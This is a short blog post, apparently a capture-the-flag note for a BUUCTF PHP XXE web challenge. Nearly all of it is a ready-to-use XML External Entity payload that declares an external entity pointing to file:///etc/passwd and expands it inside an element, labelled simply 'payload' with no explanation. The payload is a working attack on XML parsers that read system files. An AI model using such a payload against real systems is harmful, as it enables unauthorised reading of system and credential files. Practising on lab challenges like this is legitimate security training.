web*buuctf*[PHP]XXE 1

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

payload

 

 

 

posted @ 2022-07-09 14:15  kubopiy  阅读(322)  评论(0编辑  收藏  举报